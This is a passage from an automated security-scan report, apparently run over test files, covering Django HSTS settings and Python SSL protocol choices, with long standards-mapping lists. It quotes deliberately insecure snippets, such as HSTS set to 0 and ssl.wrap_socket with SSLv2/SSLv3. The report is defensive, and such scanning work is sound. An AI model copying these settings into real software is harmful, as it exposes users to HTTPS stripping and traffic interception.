- Set value of SECURE_HSTS_INCLUDE_SUBDOMAINS as True

Links

[1] OWASP HTTP Strict Transport Security (https://www.owasp.org/index.php/HTTP_Strict_Transport_Security)
[2] Moxie Marlinspike sslstrip (http://www.thoughtcrime.org/software/sslstrip/)
[3] Django Foundation Django Settings (https://docs.djangoproject.com/en/1.8/ref/settings/#SECURE_HSTS_INCLUDE_SUBDOMAINS)
[4] Mozilla django-secure (https://django-secure.readthedocs.io/en/latest/settings.html#secure-hsts-include-subdomains)
[5] Standards Mapping - Common Weakness Enumeration CWE ID 319
[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000068, CCI-001453, CCI-002418, CCI-002420, CCI-002421, CCI-002422, CCI-002890, CCI-003123
[7] Standards Mapping - FIPS200 CM, SC
[8] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-8 Transmission Confidentiality and Integrity
[11] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[12] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[13] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[14] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[15] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[16] Standards Mapping - OWASP Mobile 2014 M3 Insufficient Transport Layer Protection
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.9.1 Communications Architectural Requirements, 2.2.5 General Authenticator Requirements, 2.6.3 Look-up Secret Verifier Requirements, 6.2.1 Algorithms, 8.3.1 Sensitive Private Data, 8.1.6 General Data Protection, 9.1.1 Communications Security Requirements, 9.2.2 Server Communications Security Requirements, 14.4.5 HTTP Security Headers Requirements
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9

[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 4.1, Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7.1 - Use of Cryptography
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7.1 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[27] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[28] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[29] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[30] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II

[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[49] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[50] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)

Insecure Transport: HSTS not Set

Description

The application does not set HTTP Strict Transport Security (HSTS) headers, allowing attackers to replace SSL/TLS connections with plain HTTP ones and steal sensitive information by performing HTTPS stripping attacks.

Explanation

An HTTPS stripping attack is a type of man-in-the-middle attack where the attacker watches all the HTTP traffic for location headers and links referencing HTTPS and replaces them with HTTP versions. The attacker keeps a list of all HTTP substitutions made so that they can make the HTTPS request back to the server. All stripped HTTP connections are proxied out to the server over HTTPS. All traffic between the victim and the attacker is sent over HTTP, revealing usernames, passwords, and other private information, but the server is still receiving the expected HTTPS traffic from the attacker so nothing seems wrong.

HTTP Strict Transport Security (HSTS) is a security header that instructs the browser to always connect to the site returning the HSTS headers over SSL/TLS during a period specified in the header itself. Any connection to the server over HTTP will be automatically replaced with an HTTPS one, even if the user types http:// in the browser URL bar.

Severity

Medium

Vulnerabilities

File tests\Insecure_Transport__HSTS_not_Set.py, Line 1, Pos 1

```
SECURE_HSTS_SECONDS = 0
```

Recommendations

- Set value of SECURE_HSTS_SECONDS equal, at least, 31536000

Links

[1] OWASP HTTP Strict Transport Security (https://www.owasp.org/index.php/HTTP_Strict_Transport_Security)
[2] Moxie Marlinspike sslstrip (http://www.thoughtcrime.org/software/sslstrip/)
[3] Django Foundation Django Settings (https://docs.djangoproject.com/en/1.8/ref/settings/#secure-hsts-seconds)
[4] Mozilla django-secure (http://django-secure.readthedocs.org/en/latest/settings.html#secure-hsts-seconds)
[5] Standards Mapping - Common Weakness Enumeration CWE ID 319
[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000068, CCI-001453, CCI-002418, CCI-002420, CCI-002421, CCI-002422, CCI-002890, CCI-003123
[7] Standards Mapping - FIPS200 CM, SC
[8] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-8 Transmission Confidentiality and Integrity
[11] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[12] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[13] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[14] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[15] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[16] Standards Mapping - OWASP Mobile 2014 M3 Insufficient Transport Layer Protection
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.9.1 Communications Architectural Requirements, 2.2.5 General Authenticator Requirements, 2.6.3 Look-up Secret Verifier Requirements, 6.2.1 Algorithms, 8.3.1 Sensitive Private Data, 8.1.6 General Data Protection, 9.1.1 Communications Security Requirements, 9.2.2 Server Communications Security Requirements, 14.4.5 HTTP Security Headers Requirements
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10

[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 4.1, Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7.1 - Use of Cryptography
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7.1 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[27] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[28] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[29] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[30] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II,

APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[49] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[50] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)

Insecure Transport: Insufficient HSTS Expiration Time

Description

The application sets HTTP Strict Transport Security (HSTS) headers using an insufficient expiration time which allows attackers to replace HTTPS connections with plain HTTP ones and steal sensitive information by performing HTTPS stripping attacks.

Explanation

An HTTPS stripping attack is a type of man-in-the-middle attack where the attacker watches all the HTTP traffic for location headers and links referencing HTTPS and replaces them with HTTP versions. The attacker keeps a list of all HTTP substitutions made so that they can make the HTTPS request back to the server. All stripped HTTP connections are proxied out to the server over HTTPS. All traffic between the victim and the attacker is sent over HTTP, revealing usernames, passwords, and other private information, but the server is still receiving the expected HTTPS traffic from the attacker so nothing seems wrong.

HTTP Strict Transport Security (HSTS) is a security header that instructs the browser to always connect to the site returning the HSTS headers over SSL/TLS during a period specified in the header itself. Any connection to the server over HTTP will be automatically replaced with an HTTPS one, even if the user types http:// in the browser URL bar.

Severity

Medium

Vulnerabilities

File tests\Insecure_Transport__HSTS_not_Set.py, Line 1, Pos 1

```
SECURE_HSTS_SECONDS = 0
```

File tests\Insecure_Transport__Insufficient_HSTS_Expiration_Time.py, Line 1, Pos 1

```
SECURE_HSTS_SECONDS = 123
```

Recommendations

- Set value of SECURE_HSTS_SECONDS equal, at least, 31536000

Links

[1] OWASP HTTP Strict Transport Security (https://www.owasp.org/index.php/HTTP_Strict_Transport_Security)
[2] Moxie Marlinspike sslstrip (http://www.thoughtcrime.org/software/sslstrip/)
[3] Django Foundation Django Settings (https://docs.djangoproject.com/en/1.8/ref/settings/#secure-hsts-seconds)
[4] Mozilla django-secure (http://django-secure.readthedocs.org/en/latest/settings.html#secure-hsts-seconds)
[5] Standards Mapping - Common Weakness Enumeration CWE ID 319
[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000068, CCI-001453, CCI-002418, CCI-002420, CCI-002421, CCI-002422, CCI-002890, CCI-003123
[7] Standards Mapping - FIPS200 CM, SC
[8] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-8 Transmission Confidentiality and Integrity
[11] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[12] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[13] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[14] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[15] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[16] Standards Mapping - OWASP Mobile 2014 M3 Insufficient Transport Layer Protection
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.9.1 Communications Architectural Requirements, 1.9.1 Communications Architectural Requirements, 2.2.5 General Authenticator Requirements, 2.6.3 Look-up Secret Verifier Requirements, 6.2.1 Algorithms, 8.3.1 Sensitive Private Data, 8.1.6 General Data Protection, 9.1.1 Communications

Security Requirements, 9.2.2 Server Communications Security Requirements, 14.4.5 HTTP Security Headers Requirements
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 4.1, Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.2 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.2 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[27] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[28] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[29] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[30] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II

[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[49] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[50] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)

Insecure Transport: Weak SSL Protocol

Description

The SSLv2, SSLv23, and SSLv3 protocols contain several flaws that make them insecure, so they should not be used to transmit sensitive data.

Explanation

The Transport Layer Security (TLS) and Secure Sockets Layer (SSL) protocols provide a protection mechanism to ensure the authenticity, confidentiality, and integrity of data transmitted between a client and web server. Both TLS and SSL have undergone revisions resulting in periodic version updates. Each new revision was designed to address the security weaknesses discovered in the previous versions. Use of an insecure version of TLS/SSL will weaken the strength of the data protection and could allow an attacker to compromise, steal, or modify sensitive information.

Weak versions of TLS/SSL may exhibit one or more of the following properties:

- No protection against man-in-the-middle attacks

- Same key used for authentication and encryption

- Weak message authentication control

- No protection against TCP connection closing

The presence of these properties may allow an attacker to intercept, modify, or tamper with sensitive data.

Severity

High

Vulnerabilities

File tests\Insecure_Transport__Weak_SSL_Protocol.py, Line 3, Pos 108

```
3 ssl.wrap_socket(sock, keyfile=None, certfile=None, server_side=False, cert_
  >reqs=CERT_REQUIRED, ssl_version=ssl.PROTOCOL_SSLv23, ca_certs=None, do_hand
  >shake_on_connect=True, suppress_ragged_eofs=True, ciphers=None)
```

File tests\Insecure_Transport__Weak_SSL_Protocol.py, Line 5, Pos 108

```
5 ssl.wrap_socket(sock, keyfile=None, certfile=None, server_side=False, cert_
  >reqs=CERT_REQUIRED, ssl_version=ssl.PROTOCOL_SSLv2, ca_certs=None, do_hands
  >hake_on_connect=True, suppress_ragged_eofs=True, ciphers=None)
```

File tests\Insecure_Transport__Weak_SSL_Protocol.py, Line 7, Pos 108

```
7 ssl.wrap_socket(sock, keyfile=None, certfile=None, server_side=False, cert_
  >reqs=CERT_REQUIRED, ssl_version=ssl.PROTOCOL_SSLv3, ca_certs=None, do_hands
  >hake_on_connect=True, suppress_ragged_eofs=True, ciphers=None)
```

Recommendations

- Use secure versions of SSL protocols

Links

[1] David Wagner and Bruce Schneier Analysis of the SSL 3.0 protocol (https://www.schneier.com/paper-ssl.pdf)
[2] CVE 2014-3566 (http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3566)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 327
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000068, CCI-000382, CCI-001453, CCI-001941, CCI-001942, CCI-002418, CCI-002420, CCI-002421, CCI-002422, CCI-002890, CCI-003123
[5] Standards Mapping - FIPS200 CM, SC
[6] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)

[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-8 Transmission Confidentiality and Integrity
[9] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[10] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[11] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[12] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[13] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
